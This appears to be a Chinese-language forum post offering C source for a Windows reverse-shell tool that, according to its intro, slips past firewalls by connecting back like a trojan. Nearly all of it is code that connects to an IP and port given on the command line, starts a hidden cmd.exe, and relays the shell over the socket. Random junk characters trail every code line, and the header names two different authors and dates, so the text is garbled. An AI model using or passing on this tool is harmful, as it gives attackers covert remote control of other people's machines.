这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 RIR\']WN
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/* ============================== '$Dn
Rebound port in Windows NT NCXRevE
By wind,2006/7 yNBQGSH
===============================*/ O *C;Vqt
#include h#I>M`|
#include JBj]najN
xh-o}8*n"
#pragma comment(lib,"wsock32.lib") z9f-.72"X
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void OutputShell(); (le9q5Qr.
SOCKET sClient; Bg=wKwc8
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =}^9 wP
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void main(int argc,char **argv) _`$qBw.Nx
{ U)TUOwF
WSADATA stWsaData; 299H$$WS,Z
int nRet; g@Z))M+
SOCKADDR_IN stSaiClient,stSaiServer; b1q"!+8y
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if(argc != 3) >IafUy
{ _rMg}F"
printf("Useage:\n\rRebound DestIP DestPort\n"); AF{\6<m
return; yZ7&b&2nLn
} (y'hyJo
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WSAStartup(MAKEWORD(2,2),&stWsaData); krxo"WgD
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u2I*-K
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stSaiClient.sin_family = AF_INET; \<h0Q,e
stSaiClient.sin_port = htons(0); gk4;>}
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Z3e| UAif
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &,vcJ{.
{ ,oe <
printf("Bind Socket Failed!\n"); J-:.FKf\5l
return; ;<Sd~M4f
} hR
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stSaiServer.sin_family = AF_INET; ~hH REI&
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;1W6G=m
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <V'@ks%
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5<k"K^0QS
{ ~\SGb_2
printf("Connect Error!"); e4$H&'b|
return; t,Lrfv])
} udH7}K v
OutputShell(); 234p9A@
} o 11jca|
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void OutputShell() `RT>}_j
{ iXkF1r]i
char szBuff[1024]; qbr$>xH
SECURITY_ATTRIBUTES stSecurityAttributes; ^6x%*/l|
OSVERSIONINFO stOsversionInfo; ]EbM9Fo-U
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^0)g/`H^>
STARTUPINFO stStartupInfo; NX.6px17
char *szShell; GKqm&/M*=
PROCESS_INFORMATION stProcessInformation; y1 DL,%j
unsigned long lBytesRead; B
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); , pfG
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); R{4^t97wH{
stSecurityAttributes.lpSecurityDescriptor = 0; #Pau\|e_
stSecurityAttributes.bInheritHandle = TRUE; uc{Ihw
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); XW H5d-
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); QZwNw;$k*
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); c]-<vkpV
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gu,wF(x7A
stStartupInfo.wShowWindow = SW_HIDE; o[4}h:> dq
stStartupInfo.hStdInput = hReadPipe; l4YbK np]
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c]<5zyl"j1
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GetVersionEx(&stOsversionInfo); ]m q|w
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switch(stOsversionInfo.dwPlatformId) -IudgO]
{ qo~O|~
case 1: EWt[z.`T1
szShell = "command.com"; //MUeTxR
break;
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default: h4}84}5d
szShell = "cmd.exe"; X`/k)N>l
break; 3*bU6$|5FP
} qZh/IW
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8`{:MkXP
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send(sClient,szMsg,77,0); a!SiX
while(1) }#+^{P3 ;
{ }&D WaO]J7
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {WS;dX4
if(lBytesRead) klYX7?
{ Dpac^ST
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <dNOd0e
send(sClient,szBuff,lBytesRead,0); 3`?7<YJ
} T<>,lQs(a
else E=Bf1/c\
{ Oszj$C(jF
lBytesRead=recv(sClient,szBuff,1024,0); :,7hWs
if(lBytesRead<=0) break; =%O6:YM
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); fbvL7*
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} ~=LE0. 3[
} hE/cd1iJ$
) q4[zv9
return; B-Hrex]
}